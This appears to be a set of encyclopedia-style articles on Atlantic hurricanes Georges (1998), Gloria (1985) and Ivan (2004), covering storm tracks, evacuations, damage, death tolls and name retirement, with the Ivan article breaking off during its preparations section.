          In the northern Gulf of Mexico, Georges was forecast to attain major hurricane status and make landfall in southeastern Louisiana. Because of this, portions of the state were evacuated, including New Orleans. There, the Louisiana Superdome was, for the first time in its history, used as a refuge of last resort for those unable to evacuate New Orleans. More than 14,000citizens rode out the storm in the facility, causing difficulties to supply necessities. The building had no problems related to the weather, though evacuees looted the building, stole furniture, and damaged property. However, the damage was much less than in the aftermath of Hurricane Katrina in 2005. Many citizens in southern Mississippi were told to leave due to a mandatory or recommended evacuation. Of those in the evacuation area, 60% actually left. Most of those who stayed remained because they believed their house was safe enough for the storm. Of those who left, most went to a relative's house in their own county. Prior to making landfall, Georges's track was very uncertain. This forced for the mandatory evacuations of Alabama's two coastal counties, Baldwin and Mobile Counties, with a combined population of over 500,000people. Despite the order, only 67% of the area actually left to a safer place. Most of those who remained stayed because they believed their house would be able to withstand the hurricane. The majority of those who did leave went to a relative's house in a safer portion of the state. In the days before making landfall, only 22% of the population in recommended evacuation areas along the Florida Panhandle actually left. However, most of them were prepared to leave if the situation became worse. Those who did leave were concerned about the severity of the storm, while those who stayed felt their home was safe enough for the hurricane's effects. Floridians who evacuated typically left for a friend or relative's house, and only went to another area of their county.


          


          Impact


          
            
              Death Toll by Area
            

            
              	State/country

              	Deaths
            


            
              	Antigua

              	2
            


            
              	St. Kitts and Nevis

              	5
            


            
              	Dominican Republic

              	380
            


            
              	Haiti

              	209
            


            
              	Bahamas

              	1
            


            
              	Cuba

              	6
            


            
              	Alabama

              	1
            


            
              	Total

              	604
            

          


          A long-lasting hurricane, Hurricane Georges brought torrential rainfall and mudslides along much of its path through the Greater Antilles. In all, the hurricane caused $5.9 billion (1998 USD, $6.9 billion 2006 USD)) in damage to the United States and its possessions, and resulted in 603 fatalities. In the two months after Georges's final landfall, the American Red Cross spent $104 million (1998 USD, $120 million 2005 USD) on relief aid through Puerto Rico, the U.S. Virgin Islands, Florida, Louisiana, Alabama, and Mississippi, making Georges the costliest disaster aid in the program's 125-year history.


          


          Leeward Islands


          Upon moving through the Leeward Islands, Georges brought strong winds and heavy rainfall, amounting to a maximum of 7.5inches (190mm) at St. John.


          In Antigua, strong winds caused severe property damage, mostly caused to roofs. 10-20% of houses were greatly impacted, including three schools. High winds during the passage of the hurricane downed telephone and power lines, causing loss of communication and power across much of the island. Between Barbuda and Antigua, Georges killed 2 people and left 3,800 homeless.


          After passing through Antigua, Georges produced strong winds of up to 115 mph (185 km/h) while passing over St. Kitts, downing power lines, telephone lines, and trees across the island. Lack of electricity resulted in damage to water facilities, as well. Georges's high winds caused extensive property damage, damaging 80-85% of the houses on the island, and destroying 20-25% of homes. Many schools, businesses, hospitals, and government buildings lost their roofs, while the airport experienced severe damage to its main terminal and control tower, limiting flights to the daytime. St. Kitts' economy was disrupted from severe agricultural losses, including the devastation of 50% of their sugar crop. In addition, damaged hotels and piers created a long-term impact through lack of tourism - an industry the island relies on. In all, Hurricane Georges caused 5fatalities, left 3,000homeless, and resulted in $445million (1998 USD) in damage on the island.


          In the other part of the country, Nevis fared better. Like on St. Kitts, high winds downed power and telephone lines, damaging the water system there. 35% of homes on the island were damaged, though none were destroyed. Rainfall and debris killed several hundred livestock and seriously damaged coconut trees, amounting to $2.5million (1998USD) in agricultural damage. There were no casualties reported on the island, and damaged amounted to $39million (1998USD).


          In other nearby islands, Georges's impact was relatively minor. Power outages, flooding, and minor to moderate structural damage was common.


          


          Puerto Rico
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          On making landfall, Georges brought a 10foot (3m) storm surge, along with 20foot (6m) waves on top of it. The hurricane spawned 2tornadoes on the island, though they caused little damage. Georges dropped immense precipitation in the mountain regions, amounting to a maximum of 30.51inches (775mm) in Jayuya with many other locations reporting over 1foot (300mm). The mountain flooding drained off in the island's rivers, causing every river to overflow its banks. Near the coast, the surfeit of water carved new channels from the record discharge rate. The storm's strong winds caused beach erosion in many places along the coastline. Eroded beaches, flooding, and debris left many roads impassable or destroyed, isolating some villages on the western portion of the island. Over 22,000people were sheltered in 139shelters in cities throughout the island. All experienced power outages, and after the storm passed through, lack of water and sewer systems was a serious problem.
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          Hurricane Georges was the first hurricane to cross the entire island since the San Ciprian Hurricane in 1932. Its large circulation brought fierce winds to the entire island, damaging 72,605houses and destroying 28,005 homes. This left tens of thousands homeless after the storm's passage. High winds downed nearly half of the island's electric and telephone lines, leaving 96% of the population powerless and 8.4% of telephone customers without service. Lack of electricity greatly damaged the water system, resulting in the loss of water and sewers for 75% of the island. Georges's deluge of rainfall caused significant damage to the agricultural industry, including the loss of 75% of its coffee crop, 95% of its banana or plantain crop, and 65% of its live poultry.
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          In all, Hurricane Georges caused $1.9billion in damage (1998 USD, $2.25 billion 2006 USD), but due to well-executed warnings there were no reported casualties.


          In the nearby small island of Culebra, Georges destroyed 74houses and damaged 89others, although damage estimates are not available there.


          


          Hispaniola


          Though there are no recorded amounts, satellite-derived rainfall estimates show up to 39inches (990mm) of rain falling in the mountainous terrain of the countries. This heavy rainfall resulted in mudslides and flooding, killing a total of 589people across the island.


          


          Dominican Republic


          In the Dominican Republic, Georges brought strong winds and very heavy rains, along with a 7foot (2m) storm surge. Nearly 10 hours of continuous rainfall resulted in mudslides and overflown rivers across the mountainous country, damaging many cities along the southern coastline, including the capital. 120mph (195km/h) winds downed and uprooted trees across much of the country, littering streets with debris and mud. Thousands of houses were destroyed, while many were completely destroyed from the flooding and winds. The entire country was without electricity during the aftermath of the storm, damaging water and communication systems. Heavy wind damage and flooding caused extensive damage to the airport in Santo Domingo, restricting usage to military and non-commercial flights.
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          Most impacted by Hurricane Georges was the agricultural industry. The areas hardest hit by the hurricane coincided with the country's main crop-growing areas, including the provinces around Santo Domingo. After a severe drought in 1997, extreme rainfall damaged around 470,000acres (1,900km) of food crops, including various types of vegetables, fruits, and roots  some of the country's main diet food. Substantial amounts of tobacco and sugar plantations, the country's most important export crop, were severely damaged. The extreme flooding caused great losses in the poultry industry, an important economy in the area. The Dominican Republic had to import significant amounts of rice and other crops to compensate for the losses.


          Death toll reports were slow in the wake of the storm, but a total of 380people died from Hurricane Georges. Damage in the Dominican Republic amounted to $1.2billion (1998USD, $1.4billion 2006USD).


          


          Haiti


          Upon reaching Haiti, Georges was a weakened hurricane, but it still brought heavy rainfall across the entire country. The capital city of Port au Prince was largely unharmed, with the exception of flooding in low-lying coastal areas, damaging the main commercial port. The rest of the country, however, experienced a significant number of mudslides due to deforestation along the mountains. These mudslides destroyed or severely damaged many houses, leaving 167,332homeless. Damage was greatest along the northern coastline from Cap-Haitien to Gonaives due to the flooding and mudslides. On the southern coast, the head of a U.S.-based medical team, stranded for several days by flooding in the remote town of Belle Anse, anticipated a rise in malnutrition, disease, homelessness and poverty. Lack of electricity led to a total disruption of Haiti's water supply system, causing a decrease in sanitary conditions across the poorest country in the Western Hemisphere. In all, 209people died in Haiti.


          Like in the Dominican Republic, the agricultural sector suffered extreme damage. After a severe drought in 1997, Georges's severe flooding stopped any chances of recovering quickly. Most of the country's significant crop land, including Artibonite Valley, suffered total losses. Up to 80% of banana plantations were lost, while vegetable, roots, tubers, and other food crops were ruined. In addition, thousands of small farm animals were either killed or lost. Total agricultural losses amounted to $179million (1998USD, $210 million 2006 USD). The country requested food assistance in the aftermath of the hurricane to alleviate the serious losses.


          


          Cuba


          Upon making landfall, Hurricane Georges produced torrential rainfall, amounting to a maximum of 24.41inches (620mm) at Limonar in the province of Guantnamo. Several other locations reported over a foot (300mm) of precipitation as well. Storm surge of 4  6feet (1  2m) was expected along the eastern coastline, along with dangerous waves on top of the surge. Though winds were reduced by the time Georges hit Cuba, it still retained winds of 75mph (120km/h), along with stronger gusts in squalls.


          The hurricane's heavy rainfall resulted in mudslides along the mountainous terrain. This, combined with strong winds, damaged 60,475homes, of which 3,481 were completely destroyed. In the country, 100,000 were left homeless due to Hurricane Georges. High winds downed power lines, trees, and telephone poles, leaving many in eastern Cuba without electricity in the aftermath of the storm. Along the coast, severe flooding washed out railroad and highway bridges. Though eastern Cuba was the area most affected, the central and western portion of the island, including Havana, experienced torrential rains and strong wind gusts. There, strong waves broke over the seawall, and caused heavy flood damage to some of the town's old buildings.


          Like in Puerto Rico and Hispaniola, the severe drought during the El Nio of 1997 exacerbated the flood's disruption to crops in eastern Cuba. The heavy rainfall from Georges damaged the crops greatly, despite the effort to harvest them prior to its arrival. Up to 70% of the plantain crop, a chief food in the country's diet, was destroyed. The sugarcane crop fared badly as well, limiting one of the country's important export crops. The coffee and cocoa plantations also suffered from the hurricane, further damaging the country's food supply.


          Well-executed evacuations and warnings limited the death toll to six, while damage amounted to $40 million (1998 USD, $46 million 2005 USD).


          


          Bahamas


          Though Georges was forecast to move through the Bahamas, it passed to the south of the archipelago. It brought 70mph (110km/h) winds to Turks and Caicos Islands and South Andros, as well as precipitation in the storm's outer bands. Though damage was minimal, one person died in the country.


          


          South Florida
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          The eye of the storm passed near Key West about midday. Upon making landfall, Hurricane Georges brought a storm surge of up to 12feet (3.6m) in Tavernier, Florida, with similar but lesser amounts along the Florida Keys. The islands, some only 7feet (2m) high and 300yards (275m) wide, are easily flooded, and with up to 10foot (3m) waves many parts of the Overseas Highway were under water. Strong winds downed palm trees and power lines, leaving all of the Keys without power. Georges's waves overturned 2boats in Key West, damaged 1,536houses, and destroyed 173homes, many of which were mobile homes. Rainfall amounts amounted to a maximum of 8.41inches (210mm) in Tavernier, while other locations reported lesser amounts. Damage in the Florida Keys amounted to $200million (1998 USD, $235 million 2006 USD).


          Further up the coast, the hurricane's outer bands produced light rainfall of up to 3inches (80mm). Strong winds knocked down power lines, leaving 200,000 without power in the Miami area. Damage was minimal, and there were no reported casualties.


          


          Louisiana
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          Georges's strong storm surge caused extensive beach erosion and flooding on the Chandeleur Islands, the first line of protection for the coasts of Louisiana and Mississippi. The long island chain was reduced to a few banks of sand in the Gulf. Grand Gosier, the home to a flock of the endangered Brown Pelicans, experienced severe flooding, destroying their habitats.
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          Upon making landfall, Hurricane Georges brought a storm surge peaking at 8.9feet (2.4m) in Pointe a la Hache, Louisiana, along with higher waves on top of it. Located on the weaker side of the storm, rainfall totals were low, and amounted to a maximum of 3inches (8cm). Winds were generally light, peaking at 45mph (70km/h). Overall, damage was minimal in Louisiana. High winds downed power lines, leaving 160,000 without electricity across the state. In the state, Hurricane Georges caused $25million (1998 USD, $29 million 2006 USD) in damage, but no deaths due to well-executed evacuations.


          


          Mississippi


          Upon making landfall, Hurricane Georges brought a storm surge of up to 8.9feet (2.7m) in Biloxi, Mississippi. While stalling over the southern portion of the state, it produced torrential rainfall, amounting to 16.7inches (420mm) in Pascagoula. The heavy rainfall contributed to significant river overflowing, including the Tchoutacabouffa River at D'Iberville, which set a record crest of 19feet (5.7m). The overflown rivers in the southern portion of the state flooded homes and forced more to evacuate just days after the hurricane came through. In addition, squall lines spawned multiple tornadoes, damaging evacuation shelters in Pascagoula and Gautier.


          Beach erosion occurred along the coastline, resulting in some property damage on beach houses. Around Biloxi, coastal casinos and the shipyards experienced little from the storm. Inland, high winds and flooding caused extensive damage to homes. Georges's winds downed power lines, leaving 230,000 without power after the storm. After the storm, over 6,800people stayed in 49different shelters. One shelter in Forrest County was damaged, forcing the citizens to another camp. The shelters experienced roof damage and severe power outages, though one problem that could not be overcome was the language barrier with immigrants. Overall, Hurricane Georges caused $665million (1998 USD, $779 million 2006 USD) in damage, though no deaths due to well-executed evacuations.


          


          Alabama
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          Upon making landfall, Georges brought a strong storm surge peaking at 11.9feet (3.6m) in Fort Morgan, along with 25foot (7.6m) waves on top of it. While moving slowly through the state, it dropped torrential rainfall, peaking at 29.66 inches (75 cm) in Bay Minette. Outer squalls spawned tornadoes in the southeast portion of the state, though damage from them was minimal. Along the coastline, heavy rainfall and strong waves caused extensive property damage. In Gulf Shores, for example, 251houses, 16apartment buildings, and 70businesses experienced significant damage. On the barrier island, Dauphin Island, the hurricane destroyed 50houses and left 40uninhabitable. Further inland, high winds downed power lines and trees, leaving 177,000people without power after the storm. 17shelters housed 4,977people in the aftermath of the storm. Damage to the buildings were minimal to non-existent, with the only direct effect from the hurricane being a brief interruption of electricity.


          Overall, damage in Alabama amounted to $125million (1998 USD, $146 million 2006 USD). Freshwater flooding in Mobile resulted in one death, the only death in the United States.


          


          Florida Panhandle


          Upon making landfall, Hurricane Georges produced a storm surge of up to 10feet (3m), with higher waves on top of it. As it moved slowly through the northern Gulf Coast, it produced torrential rainfall amounting to a maximum of 38inches (960mm) in Munson, with other locations reporting over 20inches (510mm). Winds were light, peaking at 50mph (80km/h) along the coast, though Eglin Air Force Base recorded a wind gust of 90mph (145km/h). Outer squalls produced a tornado outbreak of 28twisters, most of which occurred in northwestern Florida.


          6,525people stayed in 34shelters in the Florida Panhandle, though the shelters experienced little from the hurricane. Damage amounted to $100million (1998 USD, $117 million 2006 USD), though no deaths were reported.


          


          Georgia


          In Georgia, the remnants of Georges dropped 4inches (100mm) of rain across Franklin County. In Appling County however, rainfall of 5-7 inches closed several roads and left $10,000 (1998 USD) in damage. Atkinson County also reported flood damage of $15,000 (1998 USD) in damage. Stewart County, received over 5inches (130mm) of rain which caused extensive flooding that left several roads impassable. Damage from the storm totaled to $33,000 (1998 USD). In the town of Lumpkin, a funnel cloud was reported but there were no damage. In addition to the flooding, the remnants of Georges spawned numerous tornadoes across the state of Georgia. In Randolph County, an F1 tornado uprooted several trees and injured one person. Damage from the tornado totaled up to $500,000 dollars (1998 USD)


          


          Retirement


          The name Georges was retired in the spring of 1999 and will never again be used in the Atlantic basin. It was replaced with Gaston in the 2004 season.
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              	Formed

              	September 16, 1985
            


            
              	Dissipated

              	October 2, 1985
            


            
              	Highest

              winds

              	
                
                  
                    	145 mph (230 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	919 mbar ( hPa; 27.15 inHg)
            


            
              	Fatalities

              	8 direct
            


            
              	Damage

              	$900million (1985USD)

              $1.803billion (2008USD)
            


            
              	Areas

              affected

              	North Carolina, New Jersey, Long Island, New England, Atlantic Canada
            


            
              	Part of the

              1985 Atlantic hurricane season
            

          


          Hurricane Gloria was a powerful Cape Verde-type hurricane that formed during the 1985 Atlantic hurricane season and prowled the Atlantic Ocean from September 16 to September 28. Gloria reached Category 4 on the Saffir-Simpson Hurricane Scale near the Bahamas, but weakened significantly by the time it made landfall on North Carolina's Outer Banks. From there, Gloria closely followed the Mid-Atlantic coastline and made a second landfall on Long Island, New York, and, after crossing the Long Island Sound, it made a third landfall in Connecticut.


          Overall, the storm caused extensive damage along the East Coast of the United States, amounting to $900 million ($1.6 billion in 2005 USD), and was responsible for 8 fatalities. The storm was the first significant system to impact the northeastern United States since Hurricane Agnes in 1972 and the first major storm to affect New York and Long Island directly since Hurricane Donna in 1960. It was the last storm to hit the northeast until Hurricane Bob in 1991.


          


          Storm history
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          Gloria began as a tropical wave that moved off the coast of Africa on September 15. It moved westward through the favorable tropical Atlantic Ocean, and organized into a tropical depression the next day while south of the Cape Verde Islands. Tracking steadily west-northwestward due to the strong subtropical ridge, the depression continued to strengthen and became Tropical Storm Gloria on the 17th. Conditions for tropical development deteriorated, causing Gloria to weaken to a tropical depression on the 18th. After it crossed 45W on the 20th, the system was able to restrengthen to a tropical storm, and steadily intensified as it approached the Lesser Antilles. While 620miles (1000km) east-southeast of St. Croix, Gloria attained hurricane status.


          Moving westward, Gloria threatened much of the Leeward Islands, prompting the islands' respective governments to issue Hurricane Warnings in anticipation of the storm. A turn to the west-northwest occurred on September 22, and the hurricane passed 155miles (250km) to the north of Anegada, the northernmost island in the Lesser Antilles. A break in the subtropical ridge, caused by Tropical Storms Fabian and Henri, was responsible for the northward turn and caused Gloria to take a northwest track. While passing to the northeast of the Bahamas, Gloria strengthened significantly in very favorable conditions, reaching major hurricane status on the 24th and peak wind speeds of 145mph (235km/h) and a central pressure of 919 mbar on the 25th. This is the second lowest pressure ever recorded in an Atlantic hurricane that never reached Category 5 status, only second to Hurricane Opal of the 1995 season.
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          Shortly after peaking, Gloria's asymmetrical wind field caused the storm to rapidly weaken, and its winds decreased to 90mph (145km/h) after 18 hours. Continuing around the periphery of the subtropical ridge, the hurricane turned to the north-northeast, and its winds strengthened to 105mph (170km/h) as it passed over the warm waters of the Gulf Stream. Gloria then struck Cape Hatteras, North Carolina early on September 26, with winds of 105mph (170km/h) and a pressure of 942 mbar while accelerating to the northeast. Gloria became the strongest recorded hurricane to strike the U.S. East Coast so far north, a distinction it still holds. It paralleled the coastlines of Virginia, Maryland, Delaware, and New Jersey, coming within miles of land.


          Gloria made its final landfall on western Long Island near Long Beach, New York as a weaker yet still strong hurricane just 10hours after hitting the Outer Banks. Originally, the National Hurricane Centre classified Gloria as a major hurricane upon making landfall but it was later downgraded in the seasonal post-analysis. Even so, the hurricane did produce Category Three wind gusts throughout Long Island. Shortly thereafter the storm crossed the Connecticut coastline near Bridgeport, and while continuing northeastward through New England, it became extratropical over Maine early on the 28th. After moving through Atlantic Canada, the extratropical storm tracked eastward before dissipating on October 2 to the southwest of Iceland.


          


          Preparations
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          As Gloria approached the East Coast of the United States, National Hurricane Centre director Neil Frank called it the "Storm of the Century", due to its intensity and potential track over the densely populated area of New England. Such a track greatly gathered the attention of many people, and led to the evacuation of 380,000 people along the coast from North Carolina to Connecticut. In Maryland, for example, officials implemented lane reversing to expedite the evacuation process, a policy many other coastal states use.


          Officials recommended 95,000 citizens along the New Jersey coastline, an area that rarely experiences hurricanes, to evacuate. Cape May County, the most vulnerable part of the state and among the most susceptible in the entire country, would require 36 hours in 2005 to evacuate the 100,000 citizens and 900,000 tourists that were commonly present during busy summer weekends. 397 unofficial shelters existed in the county in 1985 for the preparation of Hurricane Gloria, of which 150 were located on boardwalks; if the hurricane were to strike, only a small area in the northwest part of the county would be safe from the storm surge. Due to its vulnerability, an evacuation of the entire county would be required to avoid significant human losses in future hurricanes.


          Offices and classes of Harvard University closed only for the third time in the 20th century, the previous cases being the New England Hurricane of 1938 and the Blizzard of '78. Although Gloria's winds downed numerous trees and caused tens of thousands in damage in the area, overall effects were much less than expected.


          


          Impact


          
            [image: Flooding from Hurricane Gloria]

            
              Flooding from Hurricane Gloria
            

          


          Hurricane Gloria was a large hurricane that affected much of the northeastern United States. Gloria brought strong wind gusts to the area, downing thousands of trees and leaving over 2 million people without power. Overall, Gloria caused $900million (1985 USD) in property damage and 8 deaths, a total lower than expected due to the hurricane's arrival at low tide.


          


          Carolinas and Mid-Atlantic


          Upon making landfall on the Outer Banks, Gloria was a fast-moving hurricane that struck at low tide, reducing storm surges to a maximum of 6ft (1.8m) in North Carolina. Other locations from South Carolina through New Jersey reported surges less than 1  5feet (0.3  1.5m) high. Similarly, winds were relatively minimal and confined to the coast. Diamond Shoal Light reported sustained winds of 100mph (160km/h), and Cape Hatteras, where the storm's eye came ashore, experienced 75mph (120km/h) winds. Much of the Mid-Atlantic coastline was largely unscathed from Gloria's winds, excluding a report of 90mph (145km/h) on the Chesapeake Bay Bridge-Tunnel and a report of 80mph (130km/h) in Ocean City, New Jersey. Though Gloria moved quickly through the region, it dropped moderate rainfall in locations, including peaks of 7.09inches (180mm) in New Bern, North Carolina and 6.04inches (153mm) at Baltimore-Washington International Airport. In addition, some unofficial reports in southeastern Virginia indicated amounts of up to 8inches (200mm) of rain.


          Because much of the Mid-Atlantic experienced the western, weaker side of this hurricane, damage was relatively light. High winds downed numerous trees throughout the area, leaving hundreds of thousands without power, including 237,000 in New Jersey, 124,000 in Maryland, and 56,000 in Virginia. Extreme rainfall in Virginia resulted in $5.5million (1985 USD, $9.8 million 2005 USD) in damage. Intense flood waters split Long Beach Island in half for a period of time. The hurricane's winds caused significant beach erosion, the area most affected being the Outer Banks.


          


          Long Island and New York


          


          Though Gloria hit Long Island with winds of 95 to 100mph (135km/h), wind gusts reached up to 115mph (185km/h) in eastern Long Island. Islip, New York recorded a wind gust of 85mph (135km/h). However, few other wind reports were available from the island as Gloria winds knocked out weather instruments. Weather forecasters believe that damage across parts of Long Island indicated winds in the Category Three range, as evidence of the damaged received at MacArthur Airport. Because the hurricane arrived at low tide, storm surges were generally low, peaking at 6.9feet (2.1m) at Battery Park. Because it moved quickly, Gloria failed to produce significant rainfall amounts, and caused only 3.4inches (86mm) of rain in Central Park.


          Gloria's high winds caused significant damage across Long Island and southeastern New York. The area hit the worst was eastern Long Island, where high wind gusts blew thousands of trees into buildings and across roads. In addition, the winds ripped roofs off of many buildings, including hangars at the MacArthur Airport and the roof of the Islip Police Station. Prolonged exposure to high winds and waves led to moderate beach erosion, washing away several piers and docks. The storm surge, though relatively weak, destroyed 48houses on the ocean side of the island. Gloria's high winds left 683,000people in New York without power, with some lacking electricity for over eleven days. Even though damage amounted to $300million ($532million in 2005USD), due to well-executed evacuations there was only one casualty, the death occurring from a falling tree.


          


          New England
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          Upon making landfall in Milford, Connecticut, Gloria was a weakened hurricane that passed quickly through the area. Though still a large hurricane, Gloria hit at low tide, resulting in low to moderate storm surges of 5feet (1.5m) in Groton, Connecticut, 6feet (1.8m) in New Bedford, Massachusetts, and 1foot (.3m) in Portland, Maine. The hurricane produced gusty winds across New England, with a peak observation of 83mph (135km/h) in Waterbury, Connecticut and Blue Hill, Connecticut. Gloria dropped moderate precipitation in the area amounting to a maximum of 6inches (150mm) in Littleville Lake, Massachusetts. In addition, Gloria caused significant beach erosion in Connecticut and Rhode Island.


          Gloria's high winds downed numerous trees across New England, causing minor to moderate damage. In the region, Connecticut received the worst of the hurricane, where tree and structural damage was greatest. Along the coastline, storm surge and strong waves washed away several fishing piers, and some roadways were underwater during the storm's passage. The hurricane did not pass close enough to Rhode Island and parts of Massachusetts, so these areas did not receive significant damage. New Hampshire was affected only slightly from the hurricane, and was limited to minor wind damage and localized flooding. In Maine, damage was more severe, where strong wind gusts ripped off roofs and uprooted hundreds of trees. High winds across New England resulted in significant power outages, leaving 250,000 in Maine, 84,000 in Massachusetts, 174,000 in Rhode Island, and 669,000 in Connecticut without power. In all, 7deaths occurred in New England, many of which occurred from falling tree limbs.


          


          Canada


          The extratropical remnants caused minimal damage in Nova Scotia and produced tropical storm force winds across southern Newfoundland.


          


          Aftermath


          In the immediate aftermath in New York, hundreds of thousands had great difficulty living their everyday lives without power. The long duration without electricity led to a general disdain for the Long Island Lighting Company. This increased further when the company left the $40 million (1985 USD) repair bill to the ratepayers, citing the company didn't have hurricane insurance. Citizens quickly protested this privately owned company, and within years the publicly owned Long Island Power Authority was formed.


          In Maine, most citizens remained indoors during the passage of the hurricane. One police officer noted that even the criminals stayed home. In the Lewiston area, restaurants experienced a great surge in business. During the power outage after the storm, several businesses stored frozen goods for houses without a generator.


          After the storm, President Ronald Reagan declared several counties in New Jersey, Pennsylvania, New York, Rhode Island, Connecticut, and Massachusetts as federal disaster areas. This declaration allowed those counties to apply for disaster assistance.


          Due to its impact, the name Gloria was retired from the Atlantic tropical storm name list in the spring of 1986, so it will never again be used for an Atlantic hurricane. It was replaced with Grace in the 1991 season.
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              	Formed

              	September 2, 2004
            


            
              	Dissipated

              	September 24, 2004
            


            
              	Highest

              winds

              	
                
                  
                    	165 mph (270 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	910 mbar ( hPa; 26.88 inHg)
            


            
              	Fatalities

              	92 direct, 32 indirect
            


            
              	Damage

              	$19.2billion (2004USD)

              $21.91billion (2008USD)
            


            
              	Areas

              affected

              	Windward Islands (especially Grenada), Venezuela, Jamaica, Grand Cayman, Cuba, Alabama, Florida, and most of the eastern United States, (after rebirth) Texas, Louisiana
            


            
              	Part of the

              2004 Atlantic hurricane season
            

          


          Hurricane Ivan was the strongest hurricane of the 2004 Atlantic hurricane season. The cyclone formed as a Cape Verde-type hurricane in early September and became the ninth named storm, the sixth hurricane, and the fourth major hurricane of the year. Ivan reached Category 5 strength on the Saffir-Simpson Hurricane Scale, the strongest possible category. Ivan became the sixth most intense Atlantic hurricane on record. At its peak in the Gulf of Mexico, Ivan was the size of the state of Texas. It also spawned 117 tornadoes across the eastern United States.


          Ivan caused catastrophic damage to Grenada and heavy damage to Jamaica, Grand Cayman, and the western tip of Cuba. After peaking in strength, the hurricane moved north-northwest across the Gulf of Mexico to strike Gulf Shores, Alabama as a strong Category 3 storm, causing significant damage. Ivan dropped heavy rains on the Southeastern United States as it progressed northeast and east through the eastern United States, becoming an extratropical cyclone. The remnant low from the storm moved into the western subtropical Atlantic and regenerated back into a tropical cyclone, which then moved across Florida and the Gulf of Mexico into Louisiana and Texas, causing minimal damage. Ivan caused an estimated US$13 billion (2004 USD) in damages to the United States, making it the fifth costliest hurricane ever to strike that country.


          


          Storm history
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          On September 2, 2004, Tropical Depression Nine formed from a large tropical wave southwest of the Cape Verde Islands. As the system moved to the west, it strengthened gradually, becoming Tropical Storm Ivan on September 3 and reaching hurricane strength on September 5, 1,150miles (1,850km) to the east of Tobago. Later that day, the storm intensified rapidly, and by 5 p.m. EDT (2100 UTC), Ivan became a Category 3 hurricane with winds of 125mph (201km/h). The National Hurricane Centre said that the rapid strengthening of Ivan on September 5 was unprecedented at such a low latitude in the Atlantic basin.


          As it moved west, Ivan weakened slightly because of vertical wind shear in the area. The storm passed over Grenada on September 7, battering several of the Windward Islands as it entered the Caribbean Sea. Ivan reintensified rapidly and became a Category 5 hurricane just north of the Windward Netherlands Antilles and Aruba on September 9 with winds reaching 160mph (260km/h). Ivan weakened slightly as it moved west-northwest towards Jamaica. As Ivan approached the island late on September 10, it began a westward jog that kept the eye and the strongest winds to the south and west. However, due to its proximity to the Jamaican coast, the island was battered with hurricane-force winds for hours.


          


          
            
              Most intense Atlantic hurricanes

              Intensity is measured solely by central pressure
            

            
              	Rank

              	Hurricane

              	Season

              	Min. pressure
            


            
              	1

              	Wilma

              	2005

              	882 mbar ( hPa)
            


            
              	2

              	Gilbert

              	1988

              	888 mbar (hPa)
            


            
              	3

              	"Labor Day"

              	1935

              	892 mbar (hPa)
            


            
              	4

              	Rita

              	2005

              	895 mbar (hPa)
            


            
              	5

              	Allen

              	1980

              	899 mbar (hPa)
            


            
              	6

              	Katrina

              	2005

              	902 mbar (hPa)
            


            
              	7

              	Camille

              	1969

              	905 mbar (hPa)
            


            
              	Mitch

              	1998

              	905 mbar (hPa)
            


            
              	Dean

              	2007

              	905 mbar (hPa)
            


            
              	10

              	Ivan

              	2004

              	910 mbar (hPa)
            


            
              	Source: U.S. Department of Commerce
            

          


          After passing Jamaica, Ivan resumed a more northerly track and regained Category 5 strength. Ivan's strength continued to fluctuate as it moved west on September 11, and the storm attained its highest winds of 170mph (270km/h) as it passed within 30miles (48km) of Grand Cayman. Ivan reached its peak strength with a minimum central pressure of 910 mbar ( hPa) on September 12, making Ivan the tenth most intense Atlantic hurricane on record, as of August 2007. Ivan passed through the Yucatn Channel late on September 13 while its eyewall affected the westernmost tip of Cuba. Once over the Gulf of Mexico, it weakened slightly to Category 4 strength, which it maintained while approaching the Gulf Coast of the United States.
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          Just before it made landfall in the United States, Ivan's eyewall weakened considerably, and its southwestern portion almost disappeared. Around 2 a.m. CDT September 16 (0700 UTC), Ivan made landfall on the U.S. mainland in Gulf Shores, Alabama as a Category 3 hurricane with 120mph (190km/h) winds. Ivan then continued inland, maintaining hurricane strength until it was over central Alabama. Ivan weakened rapidly that evening and became a tropical depression the same day, still over Alabama. Ivan lost tropical characteristics on September 18 while crossing Virginia. Later that day, the remnant low drifted off the U.S. mid-Atlantic coast into the Atlantic Ocean, and the low pressure disturbance continued to dump rain on the United States.


          On September 20, Ivan's remnant surface low completed an anticyclonic loop and moved across the Florida peninsula. As it continued west across the northern Gulf of Mexico, the system organized and took on tropical characteristics. On September 22 the National Weather Service, "after considerable and sometimes animated in-house discussion [regarding] the demise of Ivan," determined that the low was in fact a result of the remnants of Ivan and thus named it accordingly. On the evening of September 23, the revived Ivan made landfall near Cameron, Louisiana as a tropical depression. Ivan finally dissipated on September 24 as it moved overland into Texas.


          


          Records


          
            
              	Highest ACE hurricanes

              (since 1850)
            


            
              	Rank

              	Name

              	Season

              	ACE
            


            
              	1

              	"San Ciriaco"

              	1899

              	73.57
            


            
              	2

              	Ivan

              	2004

              	70.38
            


            
              	3

              	"Four"

              	1926

              	67.59
            


            
              	4

              	Donna

              	1960

              	64.55
            


            
              	5

              	"Charleston"

              	1893

              	63.53
            


            
              	Main article: Accumulated Cyclone Energy
            


            
              	Source: This list
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              Ivan as a Category 3 hurricane east of the Windwards on September 5, 2004.
            

          


          Ivan set several new records for intensity at low latitudes. When Ivan first became a Category 3 hurricane on September 5 (1800 UTC), it was centered near 10.2 degrees north. This is the most southerly location on record for a major hurricane in the Atlantic basin. Just six hours later, Ivan also became the most southerly Category 4 hurricane on record in the Atlantic basin when it reached that intensity while located at 10.6 degrees north. Finally, at midnight (UTC) on September 9 while centered at 13.7 degrees north, Ivan became the most southerly Category 5 hurricane on record in the Atlantic basin. Hurricane Felix nearly matched this record in 2007, becoming a Category 5 hurricane at 13.8 degrees north latitude.


          Ivan had the world record of 33 (32 consecutive) six-hour periods with an intensity at or above Category 4 strength. This record was broken two years later by Pacific Hurricane/Typhoon Ioke, which had 36 (33 consecutive) six-hour periods at Category 4 strength. This contibuted to Ivan's total ACE of 70.38, second only to the 1899 Hurricane San Ciriaco.


          Scientists from the Naval Research Laboratory at Stennis Space Centre, Mississippi have used a computer model to predict that, at the height of the storm, the maximum wave height within Ivan's eyewall reached 131feet (40m).


          


          Preparations


          In the Caribbean, 500,000 Jamaicans were told to evacuate from coastal areas, but only 5,000 were reported to have moved to shelters. Many schools and businesses were closed in the Netherlands Antilles, and about 300people evacuated their homes on Curaao. 12,000 residents and tourists were evacuated from Isla Mujeres off the Yucatn Peninsula.


